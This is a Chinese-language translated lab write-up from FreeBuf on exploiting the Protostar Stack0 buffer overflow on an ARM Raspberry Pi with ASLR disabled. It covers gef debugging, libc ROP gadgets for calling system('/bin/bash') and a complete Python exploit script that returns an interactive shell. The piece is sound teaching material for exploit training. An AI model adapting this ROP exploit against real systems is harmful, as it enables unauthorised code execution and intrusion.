技术分享:利用树莓派进行ARM缓冲区溢出Exploit练习

2016-05-05 362171人围观 ,发现 2 个不明物体 系统安全

Pi2ModB1GB_-comp.jpeg

概述

前段时间,我将Exploit Exercises Protostar系列堆栈练习全部都给编译了一遍,并将这些东西保存在Github上。

由于我对该架构十分熟悉,所以更喜欢在ARM上完成Exploit练习。当我再一次完成Protostar所有练习时,我意识到可能可以将这些挑战一个一个进行分解,接下来我们就来看看Stack0

Exploit

我是在树莓派上进行练习,如果你没有一个能够使用的设备,你也可以设置一个QEMU环境跟着文章进度一起玩耍。在这个练习中我已经将ASLR(地址空间配置随机加载)给禁用了

我使用gef进行调试工作,这款工具对ARM架构的支持非常优秀。使用socat运行二进制文件,所以我们可以进行远程测试。

pi@raspberrypi:~/exploit-exercises-arm/protostar/stack0 $ socat tcp-l:6666,reuseaddr,fork exec:"./stack0"

在GDB中加载二进制文件之后,我们可以使用gef命令在程序的入口点设置一个断点。

gef> entry-break   [+] Breaking at '{<text variable, no debug info>} 0x1044c <main>'Temporary breakpoint 1 at 0x1044c   [+] Starting execution

我们可以非常轻松的观察到即将在gets()函数发生的堆栈溢出:

0x00010468 <+28>:    sub r3, r11, #72    ; 0x48  
0x0001046c <+32>:    mov r0, r3  
0x00010470 <+36>:    bl  0x102e8  

如果我们向gets()函数发送76个字节数据,这会导致一个分段错误。

gef> c  

Continuing.  

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  

You have changed the 'modified' variables!

Program received signal SIGSEGV, Segmentation fault. 

如果我们检查程序的寄存器,会发现似乎我们已经将返回地址给覆盖掉了,现在控制的是pc:

gef> info registers  
r0             0x0    0  
r1             0x0    0  
r2             0x1    1  
r3             0x0    0  
r4             0x0    0  
r5             0x0    0  
r6             0x10324    66340  
r7             0x0    0  
r8             0x0    0  
r9             0x0    0  
r10            0x76fff000    1996484608  
r11            0x41414141    1094795585  
r12            0x2b    43  
sp             0x7efff5b0    0x7efff5b0  
lr             0x76ed1008    1995247624  
pc             0x41414140    0x41414140  
cpsr           0x60000030    1610612784  

由于这不是一个可执行堆栈,我们需要使用ROP来实现代码执行。在主二进制本身几乎没有任何可以用的gadgets,我们不得不将目光转向libc。为了调用system()函数,我们需要新建一个ROP链。使用ROPgadget,我找到了以下gadgets来创建我们的ROP链。

在ARM架构下,参数通过寄存器传递给函数。例如r0会将保留的第一个参数传递给一个给定的函数调用。在我们的这个例子中就是system()函数。

gadget会分别中r0,r4,pc中取出数据。为了继续控制程序执行流程,之后会将gadget放入pc。

0x0007a12c : pop {r0, r4, pc}

第二个gadget仅仅是为了控制Link Register,这会包含system()函数的地址,并且bx lr指令也会调用函数本身。

0x0005cbc8 : pop {r4, r5, r6, r7, lr} ; add sp, sp, #0x10 ; bx lr  

由于已经禁用了ASLR,我们可以抓取libc的基地址并计算出每个gadget的偏移地址。

gef> vmmap  
     Start        End     Offset Perm Path
0x00010000 0x00011000 0x00000000 r-x /home/pi/exploit-exercises-arm/protostar/stack0/stack0  
0x00020000 0x00021000 0x00000000 rw- /home/pi/exploit-exercises-arm/protostar/stack0/stack0  
0x76e66000 0x76f91000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.19.so  
0x76f91000 0x76fa1000 0x0012b000 --- /lib/arm-linux-gnueabihf/libc-2.19.so  
0x76fa1000 0x76fa3000 0x0012b000 r-- /lib/arm-linux-gnueabihf/libc-2.19.so  
0x76fa3000 0x76fa4000 0x0012d000 rw- /lib/arm-linux-gnueabihf/libc-2.19.so  
0x76fa4000 0x76fa7000 0x00000000 rw-  
0x76fba000 0x76fbf000 0x00000000 r-x /usr/lib/arm-linux-gnueabihf/libarmmem.so  
0x76fbf000 0x76fce000 0x00005000 --- /usr/lib/arm-linux-gnueabihf/libarmmem.so  
0x76fce000 0x76fcf000 0x00004000 rw- /usr/lib/arm-linux-gnueabihf/libarmmem.so  
0x76fcf000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.19.so  
0x76ff5000 0x76ffb000 0x00000000 rw-  
0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage]  
0x76ffc000 0x76ffd000 0x00000000 r-- [vvar]  
0x76ffd000 0x76ffe000 0x00000000 r-x [vdso]  
0x76ffe000 0x76fff000 0x0001f000 r-- /lib/arm-linux-gnueabihf/ld-2.19.so  
0x76fff000 0x77000000 0x00020000 rw- /lib/arm-linux-gnueabihf/ld-2.19.so  
0x7efdf000 0x7f000000 0x00000000 rwx [stack]  
0xffff0000 0xffff1000 0x00000000 r-x [vectors]  

最后,如果我们继续往下看,或许可以获得字符串SHELL=/bin/bash的地址。我们可以索引到这个地址并获取/bin/bash,对于我们来说这将作为system()函数的一个参数。

以下为exploit

import socket  
import sys  
import struct  
import telnetlib


def exploit():  
    try:
        # Connect to target
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('10.174.90.177', 6666))
        print("[*] Connecting to target (!)")
        # Build payload
        payload = 'A' * 72
        payload += struct.pack("<I", 0x76EE012C)
        payload += struct.pack("<I", 0x7efff7f3)
        payload += 'BBBB'
        payload += struct.pack("<I", 0x76EC2BC8)
        payload += 'CCCC'
        payload += 'DDDD'
        payload += 'EEEE'
        payload += 'FFFF'
        payload += struct.pack("<I", 0x76e9ffac)
        print("[*] Sending Payload (!)")
        # Send payload
        s.sendall(payload)
        # Interact with the shell
        t = telnetlib.Telnet()
        t.sock = s
        t.interact()
    except socket.errno:
        raise

if __name__ == '__main__':  
    try:
        exploit()
    except KeyboardInterrupt:
        sys.exit(0)

我们来运行试试!

[*] Connecting to target (!)
[*] Sending Payload (!)
id  
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)  

*原文链接:rotlogix,鸢尾编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

这些评论亮了

发表评论

已有 2 条评论

取消
Loading...

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php